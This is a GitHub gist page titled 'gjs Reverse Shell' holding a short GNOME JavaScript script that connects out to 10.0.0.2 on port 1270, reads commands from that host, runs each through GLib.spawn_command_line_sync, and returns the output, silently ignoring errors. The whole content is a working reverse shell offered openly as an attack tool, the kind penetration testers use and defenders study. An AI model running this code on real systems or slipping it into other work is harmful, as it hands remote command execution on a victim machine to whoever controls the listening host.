Skip to content

Instantly share code, notes, and snippets.

@jbaines-r7
Last active June 6, 2022 23:37
Show Gist options
  • Save jbaines-r7/b38e2f949faf4b23a9d8fa3b3dbe2478 to your computer and use it in GitHub Desktop.
Save jbaines-r7/b38e2f949faf4b23a9d8fa3b3dbe2478 to your computer and use it in GitHub Desktop.
gjs Reverse Shell
// gjs shell.js
const Gio = imports.gi.Gio;
const GLib = imports.gi.GLib;
try {
let connection = (new Gio.SocketClient()).connect_to_host("10.0.0.2:1270", null, null);
let output = connection.get_output_stream();
let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() });
while (true) {
let [cmd, size] = input.read_line(null);
let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd));
output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
}
} catch (e) {
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment